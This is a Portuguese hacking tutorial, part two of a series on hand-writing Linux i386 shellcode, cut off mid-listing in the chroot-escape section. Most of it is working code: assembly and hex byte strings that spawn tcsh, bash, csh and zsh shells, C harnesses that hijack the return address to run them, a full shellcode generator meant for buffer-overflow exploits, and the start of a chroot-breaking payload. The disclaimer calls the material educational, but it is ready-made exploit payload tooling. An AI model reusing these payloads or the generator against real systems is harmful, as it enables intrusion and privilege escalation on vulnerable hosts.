###########################################################################
########################### UNSEKURITY TEAM ###############################
###########################################################################

Estes e outros tutoriais podem ser obtidos em:
http://unsekurity.virtualave.net/
http://unsekurity.cyberpunk.com.br/

Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br


OBS: Nao nos responsabilizamos pelo mau uso dos dados e exemplos aqui
     fornecidos.Este tutorial possui somente propositos educacionais.


Para um entendimento melhor deste tutorial, faz-se necessario a leitura
do tutorial anterior, bem como conhecimentos basicos de C, Assembly,
Sockets, Linux e Buffer Overflows.Este tutorial eh voltado para NewBies,
se voce se considera 'elite' nao leia este humilde tutorial.

Muita gente esperou e aqui estah a segunda parte do tutorial de escrita
de shellcodes em/para sistemas Linux.Escrever shellcodes requer paciencia,
muita paciencia.Existe a necessidade?? Sim, os programas geradores de
shellcodes nao sao eficientes, exceto os que executam simples comandos via
linha de comando.Mas quando eh um shellcode para abrir um socket,executar
um programa, esses geradores nao suprem a necessidade, de modo que tem
casos que realmente teriamos que escrever o shellcode na mao.Iremos ver
alguns desses casos no decorrer desse tutorial.Assim como no outro, o
entendimento dos exemplos e esquemas descritos neste tutorial vai depender
dos esforcos do leitor(fucador), pois como iremos mexer com assembly,
logica de programacao se faz mais do que necessario.Todos os exemplos e
esquemas serao para linux(Slackware 7.0) i386, usando compilador GCC e
debugador GDB.Neste tutorial nao descreverei nada de assembly, de modo
que, se tiver duvidas, consulte o tutorial antigo e a parte de links que
se encontra no mesmo.Espero verdadeiramente que este tutorial venha a ser
util para alguem.

			 -------------------------
			|  SHELLCODES - II PARTE  |
			 -------------------------

--------------------------------- INDICE ---------------------------------

1 - INTRODUCAO
2 - SHELLCODES
    2.1 - Outros Tipos de Shell(tcsh, bash, csh, zsh, etc)
    2.2 - Quebrando chroot()
    2.3 - Abrindo um Socket
    2.4 - Personalizando um Shellcode
    2.5 - Encriptando um Shellcode
    2.6 - O Perigo dos Trojans
3 - TERMINANDO
    3.1 - Links e Referencias
    3.2 - Consideracoes Finais

--------------------------------------------------------------------------

---------------
1 - INTRODUCAO |
---------------

A arte de fazer shellcode requer persistencia.Creio que todos que dominam
a escrita de shellcodes no inicio passaram dificuldades, pois isso nao eh
tao simples como pensam.Com o tempo e o aumento de conhecimentos por parte
do fucador, assim como nas demais tecnicas, esta tecnica vai se tornando
mais simples, cada vez mais simples! Pesquisas incessantes sobre
programacao em ASM, as vezes se faz necessario, quanto mais complexo for
o exploit, melhor para o fucador eh possuir bons conhecimentos em assembly.
Os esquemas que pretendo disponibilizar aqui sao bastante conhecidos.
Programadores avancados nao devem ler este tutorial, muito menos o pessoal
da elite.Redireciono este tutorial aos mesmos leitores dos tutoriais
antigos, ou seja, NewBies.Se voce se considera elite, nao perca o seu tempo.

A utilidade que esses shellcodes bem como os conceitos sobre os mesmos
venha a ter serah analisada em cada caso, e alguns mitos serao
demistificados no decorrer desse arquivo texto.Espero que os esquemas aqui
descritos venham a ser uteis para alguem.Para este tutorial eu tomei como
base novamente o tutorial do Taeho Oh - Advanced buffer overflow exploit -
tambem o velho txt do Aleph1 descrito na PHRACK e uma suite de shellcodes
escritos pelo lamagra(http://lamagra.seKure.de).Links para os demais voce
poderah obter no final deste tutorial.

---------------
2 - SHELLCODES |
---------------

Eu deixei umas duvidas e problemas pendentes no tutorial anterior.Irei
nesse tutorial soluciona-las, espero que voce possa de alguma forma se
beneficiar desses conceitos e explicacoes.E se voce jah solucionou todas,
nao pense duas vezes, pule para os item que venham a te interessar.

2.1 - Outros Tipos de Shell(tcsh, bash, csh, zsh, etc)
-------------------------------------------------------

No tutorial anterior, vimos somente a execucao de um tipo de shell, a
/bin/sh , que em alguns sistemas eh linkada para /bin/bash.De qualquer
modo, aprendemos como fazer um shellcode para esse tipo de shell, mas
o conceito descrito alih eh mais amplo.Eu disse que poderiamos executar
qualquer comando que fosse do tamanho de /bin/sh, e como exemplo citei
/bin/ls.Um programador com conhecimentos basicos de Assembly certamente
entendeu a mensagem e captou o que quis dizer com aquilo.Irei agora
descrever pormenores de como se executa nao soh essas shells citadas aih
em cima(tcsh, bash, csh, etc), mas todo e qualquer arquivo que se queira
executar via linha de comando.

2.1.1 - Shell tcsh
-------------------

De forma direta.Veremos como escrever um shellcode tcsh em assembly.Os
passos a serem seguidos sao os mesmo que devemos seguir na escrita de um
shellcode /bin/sh, sao eles:

1. Termos a string "/bin/tcsh" terminada nula em algum lugar na memoria.
2. Ter o endereco da string "/bin/tcsh" em algum lugar na memoria seguido
   por uma word null long.
3. Copiar 0xb sobre o registrador EAX.
4. Copiar o endereco da string "/bin/tcsh" sobre o registrador EBX.
5. Copiar o endereco da string "/bin/tcsh" sobre o registrador ECX.
6. Copiar o endereco da word null long sobre o registrador EDX.
7. Executar a intrucao int $0x80.
8. Copiar 0x1 sobre registrado EAX.   --
9. Copiar 0x0 sobre o registrador EBX.  |-> Esses passos para exit(0).
10.Executar a instrucao $0x80.	      --


De posse dessas informacoes, vamos trabalhar.A unica coisa que muda em
relacao ao shellcode /bin/sh eh somente o tamanho do comando que se quer
executar.O comando "/bin/sh" possui um tamanho = 7, e o que nos queremos
executar, possui um tamanho igual a 9.De posse dessas informacoes, nos
podemos contruir o codigo fonte com instrucoes em assembly.Pegamos o
esquema padrao:

jmp offset-para-chamar                # 3 bytes
popl %esi                             # 1 byte  ------  <---------------
movl %esi, array-offset(%esi)         # 3 bytes       |                 |
movb $0x0, nullbyte-offset(%esi)      # 4 bytes       |                 |
movl $0x0, null-offset(%esi)          # 7 bytes       |                 |
movl $0xb, %eax                       # 5 bytes       | Somando tudo    |
movl %esi, %ebx                       # 2 bytes       |   teremos       |
leal array-offset(%esi), %ecx         # 3 bytes       ->  42 bytes      |
leal null-offset(%esi), %edx          # 3 bytes       |(0x2a em hexa)   |
int $0x80                             # 2 bytes       |                 |
movl $0x1, %eax                       # 5 bytes       |                 |
movl $0x0, %ebx                       # 5 bytes       |                 |
int  $0x80                            # 2 bytes ______|                 |
call offset-para-popl                 # 5 bytes --> 42 + 5 = 47(0x2f)---
/bin/tcsh vem aqui                    # 8 bytes


Vamos analisar o esquema acima no shellcode de /bin/sh:

        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes


Para executarmos "/bin/tcsh" teremos que alterar algumas coisinhas.A string
a ser executada no codigo acima possui 8 bytes(.string \"/bin/sh\"), e a
que nos estamos querendo executar possui 2 bytes a mais que esta
(.string  \"/bin/tcsh\").Logo vamos detalhar os passos a seguir:

1. Termos a string "/bin/tcsh" terminada nula em algum lugar na memoria:

movl   %esi,0xa(%esi)  #Para /bin/sh tinhamos 8, agora temos 10(a em hexa).
movb   $0x0,0x9(%esi)  #Para /bin/sh tinhamos 7, agora temos 9.

2. Ter o endereco da string "/bin/tcsh" em algum lugar na memoria seguido
   por uma word null long:

movl   $0x0,0xe(%esi)  #Para /bin/sh tinhamos 0xc(14 em hexa), para
		       #/bin/tcsh teremos 14 + 2 = 16(0xe em hexa).

3. Copiar 0xb sobre o registrador EAX:

movl   $0xb,%eax

4. Copiar o endereco da string "/bin/tcsh" sobre o registrador EBX:

movl   $0xb,%eax 

5. Copiar o endereco da string "/bin/tcsh" sobre o registrador ECX:

leal  0xa(%esi),%ecx

6. Copiar o endereco da word null long sobre o registrador EDX:

leal  0xe(%esi),%edx

7. Executar a intrucao int $0x80:

int    $0x80 

8. Copiar 0x1 sobre registrado EAX:

movl   $0x1, %eax

9. Copiar 0x0 sobre o registrador EBX:

movl $0x0, %ebx

10.Executar a instrucao $0x80:

int    $0x80

Aih estao todos os passos detalhados.Vamos construir agora o .c para
testarmos esse shellcode:

------------------------------tcsh.asm.c-----------------------------

#include<stdio.h>
#include <stdlib.h>
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0xa(%esi)           # 3 bytes
        movb   $0x0,0x9(%esi)           # 4 bytes
        movl   $0x0,0xe(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0xa(%esi),%ecx           # 3 bytes
        leal   0xe(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx		# 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/tcsh\"           # 10 bytes
");
}

---------------------------------------------------------------------


Vamos agora retirar os velhos null-bytes.

Instrucao com null byte                       Trocar por:
------------------------------------------------------------------------
movb $0x0,0x9(%esi)                         xorl %eax,%eax
                                            movb %eax,0x9(%esi)
movl $0x0,0xe(%esi)                         movl %eax,0xe(%esi)
-------------------------------------------------------------------------
movl $0xb,%eax                              movb $0xb,%al
-------------------------------------------------------------------------
movl $0x1,%eax                              xorl %ebx,%ebx
movl $0x0,%ebx                              movl %ebx,%eax
                                            inc  %eax
-------------------------------------------------------------------------

Nosso codigo ficou entao:

--------------------------------tcsh_code.c--------------------------------
#include<stdio.h>
#include <stdlib.h>
void main() {
__asm__("
        jmp   0x1f            
        popl  %esi	      
        movl  %esi,0xa(%esi)  
        xorl  %eax,%eax
        movb  %eax,0x9(%esi)
        movl  %eax,0xe(%esi)
        movb  $0xb,%al
        movl  %esi,%ebx
        leal  0xa(%esi),%ecx
        leal  0xe(%esi),%edx
        int   $0x80
        xorl  %ebx,%ebx
        movl  %ebx,%eax
        inc   %eax
        int   $0x80
        call  -0x24
        .string \"/bin/tcsh\"");
}

-------------------------------------------------------------------------

Agora, compile o codigo acima da seguinte forma:

[localhost]# gcc -o tcsh_code tcsh_code.c -static

Depois gdb:

[localhost]# gdb tcsh_code
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) (gdb) x/xb main+3
0x804818f <main+3>:     0xeb
(gdb) x/xb main+4
0x8048190 <main+4>:     0x1f
...
...
(gdb) x/xb main+36
0x80481b0 <main+36>:    0xe8
(gdb) x/xb main+37
0x80481b1 <main+37>:    0xdc
(gdb) x/xb main+38
0x80481b2 <main+38>:    0xff
(gdb) x/xb main+39
0x80481b3 <main+39>:    0xff
(gdb) x/xb main+40
0x80481b4 <main+40>:    0xff

Por aih jah basta.Construimos entao o .c:

----------------------------tcsh_shell.c--------------------------------

#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x0a\x31\xc0\x88\x46\x09\x89\x46\x0e\xb0\x0b\x89"
"\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xdc\xff\xff\xff/bin/tcsh";

 main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}

--------------------------------------------------------------------------

[localhost]# gcc -o tcsh_shell tcsh_shell.c
[localhost]# ./tcsh_shell
# exit
exit


Aih estah um shellcode para /bin/tcsh.Em cima desse shellcode jah podemos
executar outro tipo de shell, a shell bash.Como a string /bin/tcsh possui
o mesmo tamanho da string /bin/sh, tudo que devemos fazer eh trocar o
/bin/tcsh por /bin/bash:

------------------------------bash_shell.c-------------------------------

#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x0a\x31\xc0\x88\x46\x09\x89\x46\x0e\xb0\x0b\x89"
"\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xdc\xff\xff\xff/bin/bash";

 main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}
------------------------------------------------------------------------

Compilamos normalmente e executamos o programa acima:

[localhost]# gcc -o bash_shell bash_shell.c
[localhost]# ./bash_shell
bash-2.03# exit
exit

Tah pegando o espirito da coisa??:).Vamos agora recapitular o que
aprendemos escrevendo um shellcode para csh(/bin/csh):

+ Pegamos como referencia, novamente, o shellcode para /bin/sh e alteramos
  o que for necessario:

--------------------------------csh_code.c--------------------------------
#include<stdio.h>
#include <stdlib.h>
void main() {
__asm__("
        jmp   0x1f
        popl  %esi
        movl  %esi,0x9(%esi) #.string /bin/csh = 9.
        xorl  %eax,%eax
        movb  %eax,0x8(%esi) # /bin/csh = 8.
        movl  %eax,0xd(%esi) # /bin/csh seguido de uma word null long.
        movb  $0xb,%al       # empurra execve(11) para al.
        movl  %esi,%ebx      
        leal  0x9(%esi),%ecx # empurra .string /bin/csh para ecx.
        leal  0xd(%esi),%edx # empurra /bin/sh + word null long p/ edx.
        int   $0x80          
        xorl  %ebx,%ebx
        movl  %ebx,%eax
        inc   %eax
        int   $0x80
        call  -0x24
        .string \"/bin/csh\"");
}
---------------------------------------------------------------------------

Compile com o argumento -static, depois use gdb e pegue os referentes
hexadecimais de cada instrucao.Abaixo segue o .c para o shellcode:

-------------------------------csh_shell.c---------------------------------

#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b\x89"
"\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xdc\xff\xff\xff/bin/csh";

main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}

---------------------------------------------------------------------------

[localhost]# ./csh_shell
%exit
exit

Como voce pode ver, estou sendo o mais pratico possivel, fugindo de ter
que seguir todos os passos jah visto, praticidade eh algo muito comum nos
esquemas fucadores.
Para uma shell zsh(/bin/zsh) tambem nao tem muito segredo, diretamente nos
podemos alterar o codigo acima, trocando /bin/csh por /bin/zsh:

-----------------------------zsh_shell.c----------------------------------
#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b\x89"
"\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xdc\xff\xff\xff/bin/zsh";

main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}
--------------------------------------------------------------------------

[localhost]# ./zsh_shell
localhost# exit

O prompt dessa shell aparenta estar diferente da executada
normalmente(\h:\w\$), para se certificar sempre em qual shell
voce se encontra, basta digitar um comando inexistente, exemplo:

[localhost]# ./zsh_shell
localhost# lslslslsls
zsh: command not found: lslslslsls

Esse 'zsh' aih em cima nos denuncia em qual shell estamos.Lembrando que
em sistemas novos, o /bin/sh nao passa de um link para uma shell qualquer
(Linux geralmente eh a shell bash).

Como vimos, esse esquema nos dah condicoes de executar varios tipos de
shell.Podemos tambem executar varios comandos, como vimos na primeira
parte desse tutorial, o comando /bin/ls.

Vamos complicar um pouco mais entao.Para executarmos qualquer comando
shell, ou seja, qualquer comando que se pode executar via linha de comando,
o que precisamos saber eh somente o tamanho do mesmo, e em seguida alterar
nosso shellcode padrao(shellcode /bin/sh) para executar o comando que nos
quisermos.Vamos ver um exemplo basico, o comando abaixo:

$ /bin/echo Unsekurity Team

Vamos analisar o .c dele:
-----------------------------imprime.c----------------------------------
#include <stdio.h>
#include <stdlib.h>

main(){
char *comando[3];
comando[0] = "/bin/echo";
comando[1] = "Unsekurity Team";
comando[2] = NULL;
execve(comando[0],comando,NULL);
}
-------------------------------------------------------------------------

Diferente dos primeiros exemplos, aqui nos temos um ponteiro com 3
elementos.Vamos pegar algunas dados antes de debugarmos:

/bin/echo Unsekurity Team  -> Tamanho = 25 ; .string XXX = 26.

/bin/echo -> Tamanho = 9 ; .string XXX = 10(a).

Unsekurity -> Tamanho = 10 ; .string XXX = 11(b). 

Team -> Tamanho = 4 ; .string XXX = 5.

Esse XXX se refera a propria string, exemplo: .string Team tem tamanho = 5.

Vamos debugar esse programa, nao esqueca de compilar ele usando o argumento
'-static' do gcc.

[localhost]# gdb imprime
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x804818c <main>:       push   %ebp
0x804818d <main+1>:     mov    %esp,%ebp
0x804818f <main+3>:     sub    $0xc,%esp
0x8048192 <main+6>:     movl   $0x806df68,0xfffffff4(%ebp)
0x8048199 <main+13>:    movl   $0x806df72,0xfffffff8(%ebp)
0x80481a0 <main+20>:    movl   $0x0,0xfffffffc(%ebp)
0x80481a7 <main+27>:    push   $0x0
0x80481a9 <main+29>:    lea    0xfffffff4(%ebp),%eax
0x80481ac <main+32>:    push   %eax
0x80481ad <main+33>:    mov    0xfffffff4(%ebp),%eax
0x80481b0 <main+36>:    push   %eax
0x80481b1 <main+37>:    call   0x804c51c <__execve>
0x80481b6 <main+42>:    add    $0xc,%esp
0x80481b9 <main+45>:    leave
0x80481ba <main+46>:    ret
0x80481bb <main+47>:    nop
End of assembler dump.
(gdb)


Vamos analisar novamente os passos descritos na primeira parte deste
tutorial:

0x804818c <main>:       push   %ebp
0x804818d <main+1>:     mov    %esp,%ebp

Acima temos o procedimento preludio.

0x804818f <main+3>:     sub    $0xc,%esp

Acima ele reserva espaco para o ponteiro(12), cada 1 *comando possui
tamanho igual a 4 bytes, logo sao 3 x 4 = 12(c em hexa).

0x8048192 <main+6>:     movl   $0x806df68,0xfffffff4(%ebp)

Copia o endereco da string /bin/echo para 0xfffffff4(%ebp).

0x8048199 <main+13>:    movl   $0x806df72,0xfffffff8(%ebp)

Copia o endereco da string 'Unsekurity Team' para 0xfffffff8(%ebp).

0x80481a0 <main+20>:    movl   $0x0,0xfffffffc(%ebp)

Copia o endereco de 'NULL' para 0xfffffffc(%ebp).

0x80481a7 <main+27>:    push   $0x0

Empurra NULL para dar inicio a chamada de execve.

0x80481a9 <main+29>:    lea    0xfffffff4(%ebp),%eax

Carrega o comando[] sobre registrador EAX.

0x80481ac <main+32>:    push   %eax

Empurra EAX para o Stack.

0x80481ad <main+33>:    mov    0xfffffff4(%ebp),%eax

Carregamos agora o endereco de /bin/echo para o registrador EAX.

0x80481b0 <main+36>:    push   %eax

Empurramos ele para o Stack.

0x80481b1 <main+37>:    call   0x804c51c <__execve>

Chamamos execve().


(gdb) disassemble execve
Dump of assembler code for function __execve:
0x804c51c <__execve>:   push   %ebp
0x804c51d <__execve+1>: mov    %esp,%ebp
0x804c51f <__execve+3>: push   %edi
0x804c520 <__execve+4>: push   %ebx
0x804c521 <__execve+5>: mov    0x8(%ebp),%edi
0x804c524 <__execve+8>: mov    $0x0,%eax
0x804c529 <__execve+13>:        test   %eax,%eax
0x804c52b <__execve+15>:        je     0x804c532 <__execve+22>
0x804c52d <__execve+17>:        call   0x0
0x804c532 <__execve+22>:        mov    0xc(%ebp),%ecx
0x804c535 <__execve+25>:        mov    0x10(%ebp),%edx
0x804c538 <__execve+28>:        push   %ebx
0x804c539 <__execve+29>:        mov    %edi,%ebx
0x804c53b <__execve+31>:        mov    $0xb,%eax
0x804c540 <__execve+36>:        int    $0x80

Vamos analisar com calma os passos em execv():

0x804c51c <__execve>:   push   %ebp
0x804c51d <__execve+1>: mov    %esp,%ebp

Procedimento preludio.

0x804c51f <__execve+3>: push   %edi

Empurra o indice destino sobre o Stack.

0x804c520 <__execve+4>: push   %ebx

Empurra o novo frame pointer(EBX) para o stack.

0x804c521 <__execve+5>: mov    0x8(%ebp),%edi

Copia endereco de /bin/echo para EDI.

0x804c524 <__execve+8>: mov    $0x0,%eax

Copia $0x0 para eax.

0x804c529 <__execve+13>:        test   %eax,%eax

Testa para ver se tah tudo ok.

0x804c52b <__execve+15>:        je     0x804c532 <__execve+22>

Jumpeia se igual para 0x804c532 <__execve+22>.

0x804c52d <__execve+17>:        call   0x0

Se nao for igual, chama 0x0.

0x804c532 <__execve+22>:        mov    0xc(%ebp),%ecx

Copia endereco de comando[] sobre ECX.

0x804c535 <__execve+25>:        mov    0x10(%ebp),%edx

Copia o endereco do ponteiro nulo (NULL) sobre EDX.

0x804c538 <__execve+28>:        push   %ebx

Empurra EBX.

0x804c539 <__execve+29>:        mov    %edi,%ebx

Copia o DI(Indice destino) para EBX.

0x804c53b <__execve+31>:        mov    $0xb,%eax

Copia execve(11 ou b) para EAX.

0x804c540 <__execve+36>:        int    $0x80

Sai para modo kernel.


Na pratica, a unica diferenca notavel eh o uso de DI para passar a copia
do numero do system call de execve(11) para EAX no final da instrucao e
nao no inicio, como vimos no exemplo do primeiro tutorial.De posse dessas
informacoes, nos podemos construir o codigo em Assembly.

------------------------------- uns.asm.c --------------------------------

        jmp   0x31
        popl  %esi
        movl  %esi,0x1a(%esi) # .string XXX (toda a linha de comando)
        leal  0xa(%esi),%ebx  # copia .string /bin/echo para EBX.
        movl  %ebx,0x1e(%esi) # cp EBX para  0x1e(%esi)
        leal  0x15(%esi),%ebx # adiciona 0x15 a %esi e depois copia p/ EBX.
        movl  %ebx,0x22(%esi) # copia EBX para 0x22(%esi).
        xorl  %eax,%eax       # reseta EAX.
        movb  %eax,0x9(%esi)  # /bin/echo
        movb  %eax,0x14(%esi) # Unsekurity + Team = 14
        movb  %eax,0x19(%esi) # /bin/echo + Unsekurity + Team = 19(25 em dec)
        movl  %eax,0x26(%esi) # tudo acima seguido de uma word null long.
        movb  $0xb,%al        # Empurra systemcall execve para AL.
        movl  %esi,%ebx
        leal  0x1a(%esi),%ecx # empurra /bin/echo Unsekurity Team p/ %ecx.
        leal  0x26(%esi),%edx # empurra geral acima + word null long p/ %edx.
        int   $0x80
        xorl  %ebx,%ebx
        movl  %ebx,%eax
        inc   %eax
        int   $0x80
        call  -0x36
        .string \"/bin/echo Unsekurity Team\"");

-----------------------------------------------------------------------------

Montando o .c fica:

--------------------------------- uns.c ------------------------------------
#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\xeb\x31\x5e\x89\x76\x1a\x8d\x5e\x0a\x89\x5e\x1e\x8d\x5e\x15\x89\x5e\x22"
"\x31\xc0\x88\x46\x09\x88\x46\x14\x88\x46\x19\x89\x46\x26\xb0\x0b\x89\xf3"
"\x8d\x4e\x1a\x8d\x56\x26\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xca\xff"
"\xff\xff/bin/echo Unsekurity Team";

main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}
-----------------------------------------------------------------------------

Conhecendo o basico de Assembly e a logica que envolve a criacao de um
shellcode, voce pode facilmente construir shellcodes que executam qualquer
comando da linha de comando.Veremos nos demais itensalguns outros esquemas,
mas abaixo segue um excelente programa que automatiza a criacao de shellcodes 
pela linha de comando.Esse programa foi feito pelo jamez da SDI e voce
pode obte-lo em http://packetstorm.securify.com/ :

--------------------------------shellcod.c-----------------------------------

/*
 *
 * shellcode 1 - (Nov 25, 1998)
 *
 * this proggie generates a binary execve code for any commands
 * with any arguments. it shows the asm and hex  code of execve
 * wanted. both outputs asm and hex code can be executed on the
 * stack. for example, you can use it when you want to  exploit
 * a buffer overrun situation on linux.
 *
 * any comments and sugestions to jamez@sekure.org
 *
 *
 * thanks for all people from sekure sdi(www.sekure.org)
 *
 *
 */

#include <stdio.h>
#define MAX_PARAM 100

int hexcode[4086];                 /* hex code for exeve */
int hexsize = 0;                   /* size of hex code */
char asmcode[4096];                /* asm code for exeve */
char aux[1024];                    /* aux string */
char params[1024];                 /* parameters including program name */

void asmcat(char * s) {
  strcat(asmcode, s);
}

void addasm(char * fmt, int addr) {
  sprintf(aux, fmt, addr);
  strcat(asmcode, aux);
}

void addhex(int hex) {
  hexcode[hexsize] = hex;
  hexsize++;
}

void printhex() {
  int i;
  char s[10];

  printf("\n-----------------( hex code )--\n\n");

  printf("char shellcode[] = \n");
  printf("\t\"");

  for(i = 0; i < hexsize; i++) {
    if((i - i/12 * 12) == 0 && i != 0) {
      printf("\"\n");
      printf("\t\"");

    }
    if(hexcode[i] < 16 && hexcode[i] >= 0)
      printf("\\x0%x", hexcode[i]);
    else
      if(hexcode[i] > 0)
        printf("\\x%x", hexcode[i]);
      else  {
        sprintf(s, "%x", hexcode[i]);
        printf("\\x%c", s[6]);
        printf("%c", s[7]);
      }
  }
  printf("%s\"\n", params);

}

int main(int argc, char * argv[]) {
  int i,                             /* some for's */
  jmp,    /* how many bytes to jmp to get call instruction */
  num_params,                      /* how many parameters */
  size = 0;                        /* size of the whole command */

  int nulls[MAX_PARAM];              /* where the null bytes go */

if(argc == 1) {
printf("\nshellcode, first version. (Nov 25, 1998)\n\n");
printf("  this proggie generates a binary execve code for any commands\n");;
printf("  with any arguments. it shows the asm and hex  code of execve\n");
printf("  wanted. both outputs asm and hex code can be executed on the\n");
printf("  stack. for example, you can use it when you want to exploit\n");
printf("  a buffer overrun situation on linux.\n\n");
printf("  it's a jamez product. jamez@sekure.org\n");
printf("  sekure sdi - www.sekure.org\n\n");
printf(" - usage: %s path+program [first arg] [second arg] ...\n\n",argv[0]);
exit(0);
  }

  num_params = argc - 1;


  /* parse out the parameters */
  params[0] = '\0';

  for(i = 0; i <  num_params && i < MAX_PARAM; i++) {
    size += strlen(argv[i+1]) + 1;    /* plus one to the null end */

    strcat(params, argv[i + 1]);
    nulls[i] = strlen(params);
    strcat(params, "\x20");
  }

  params[size-1] = '\0';
  /* create the asm code */

  hexcode[0] = '\0';
  asmcode[0] = '\0';

  jmp = 22 + 3 + (num_params-1)*6 + 3*num_params + 3;

  addhex(0xeb);
  addhex(jmp);

  addasm("\tjmp   0x%x\n", jmp);

  addhex(0x5e);
  asmcat("\tpopl  %esi\n");         /* popl  %esi */

  /* fill char * array w/ addr's */
  for(i = 0; i <  num_params && i < MAX_PARAM; i++) {
    if(i == 0) {
      addasm("\tmovl  %%esi,0x%x(%%esi)\n", size);

      addhex(0x89);
      addhex(0x76);
      addhex(size);
    }
    else {

      addhex(0x8d);
      addhex(0x5e);
      addhex(nulls[i-1]+1);

     addasm("\tleal  0x%x(%%esi),%%ebx\n", nulls[i-1]+1);
      addhex(0x89);
      addhex(0x5e);
      addhex(size + i*4);

      addasm("\tmovl  %%ebx,0x%x(%%esi)\n", size + i*4);
    }

  }

  addhex(0x31);
  addhex(0xc0);

  asmcat("\txorl  %eax,%eax\n");
  /* put null at the of strings */
  for(i = 0; i <  num_params && i < MAX_PARAM; i++) {

    addhex(0x88);
    addhex(0x46);
    addhex(nulls[i]);

    addasm("\tmovb  %%eax,0x%x(%%esi)\n", nulls[i]);
  }
  addhex(0x89);
  addhex(0x46);
  addhex(size + 4*num_params);

  addasm("\tmovl  %%eax,0x%x(%%esi)\n", size + 4*num_params);
  addhex(0xb0);
  addhex(0x0b);
  asmcat("\tmovb  $0xb,%al\n");

  addhex(0x89);
  addhex(0xf3);
  asmcat("\tmovl  %esi,%ebx\n");

  addhex(0x8d);
  addhex(0x4e);
  addhex(size);
  addasm("\tleal  0x%x(%%esi),%%ecx\n", size);

  addhex(0x8d);
  addhex(0x56);
  addhex(size + 4*num_params);
  addasm("\tleal  0x%x(%%esi),%%edx\n", size + 4*num_params);

  addhex(0xcd);
  addhex(0x80);
  asmcat("\tint   $0x80\n");

  addhex(0x31);
  addhex(0xdb);
  asmcat("\txorl  %ebx,%ebx\n");

  addhex(0x89);
  addhex(0xd8);
  asmcat("\tmovl  %ebx,%eax\n");

  addhex(0x40);
  asmcat("\tinc   %eax\n");

  addhex(0xcd);
  addhex(0x80);
  asmcat("\tint   $0x80\n");

  addhex(0xe8);
  addhex((jmp+5) * -1);
  addhex(0xff);
  addhex(0xff);
  addhex(0xff);
  addasm("\tcall  -0x%x\n", jmp+5);

  asmcat("\t.string \\\"");
  asmcat(params);
  asmcat("\\\"");

  printf("\n-----------------( asm code )--\n\n");

  printf("int main() {\n");
  printf("\t__asm__(\"\n");
  printf("%s\");\n", asmcode);
  printf("}\n");

  printhex();

  printf("\n\n(by jamez for your profit)\n\n");

}

---------------------------------------------------------------------------

Para automatizar a escrita de shellcodes de 'instrucoes' via linha de
comando, creio que nao existe programa melhor que este.Mas eh importante
nao ficar somente no uso destes programas 'fazedores de shellcode' e sim
partir voce mesmo para a contrucao dos seus proprios shellcodes.


2.2 - Quebrando chroot()
-------------------------

Na primeira parte deste tutorial vimos uma forma de como se quebrar chroot().
Existem varios metodos para se conseguir este feito, mas os mais simples
sao o que vou disponibilizar agora, e aquele demonstrado no tutorial 
anterior.O shellcode abaixo foi feito pelo lamagra, e demonstra de forma
simples, como se criar um shellcode para quebrar chroot(), voce pode
aumentar o numero de ../ para cada caso.Analise abaixo o esquema dele:

--------------------------- chroot_lamagra.c ------------------------------

/* Shellcode para quebrar chroot() by lamagra.

main :
        pushl %ebp              # shcode recognition
        #init
        movl %esp,%ebp          # salva stackpointer
        xorl %eax,%eax
        xorl %ebx,%ebx          # reseta os registradores
        xorl %ecx,%ecx

        # setuid(0);
